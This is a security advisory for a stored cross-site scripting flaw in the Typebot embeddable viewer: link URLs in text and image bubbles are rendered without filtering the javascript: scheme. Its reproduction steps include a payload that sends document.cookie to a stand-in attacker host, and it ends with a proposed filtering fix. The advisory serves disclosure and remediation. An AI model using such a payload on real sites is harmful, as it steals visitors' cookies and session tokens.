Affected packages
• npm @typebot.io/js: < 0.10.1 → fixed in 0.10.1
Description
Summary
The Typebot viewer (`packages/embeds/js`) renders anchor tags from rich text bubble content without filtering the `javascript:` URI scheme. A bot author can set a link URL to `javascript:PAYLOAD`, which executes in the visitor's browser context when clicked. Since the viewer is typically embedded in a third-party site, the attacker's JavaScript runs in the host page's origin and can exfiltrate cookies and session tokens.
Details
Vulnerable file: `packages/embeds/js/src/features/blocks/bubbles/textBubble/components/plate/PlateBlock.tsx`
```tsx
// Line 32 — href set directly from stored bot content, no javascript: filtering
{elementDescendant.children[0].text}
```
SolidJS does not sanitize `href` attribute values — `javascript:` URIs pass through to the DOM unchanged.
The same issue exists in `ImageBubble.tsx` line 102 for image link wrapping.
Steps to Reproduce
```
1. Log in to Typebot as an authenticated user (any plan)
2. Create a new bot
3. Add a Text Bubble block
4. In the rich text editor, type any link text and set the URL to:
javascript:fetch('https://attacker.com/?c='+document.cookie)
5. Publish the bot and open the live/embedded viewer
6. Click the link in the chatbot interface
7. The JavaScript executes in the browser — cookie exfiltration request sent to attacker.com
```
Source-verified: `PlateBlock.tsx:32` renders `` with no scheme filtering. Puppeteer alert confirmed `document.domain` execution when link clicked.
Impact
• Any authenticated Typebot user (including free tier) can create a bot with this payload
• When shared or embedded in a third-party site, clicking the link executes JS in the host page's origin
• Allows stealing cookies, session tokens, or any data accessible to the embedding page
• Shared bots are publicly accessible — no victim authentication required
Proposed Fix
Filter `javascript:` URIs before rendering anchor tags:
```tsx
const safeUrl = (url: string) =>
/^javascript:/i.test(url.trim()) ? '#' : url
```
Alternatively, use a URL allowlist (only `https:`, `http:`, `mailto:`, `tel:`).
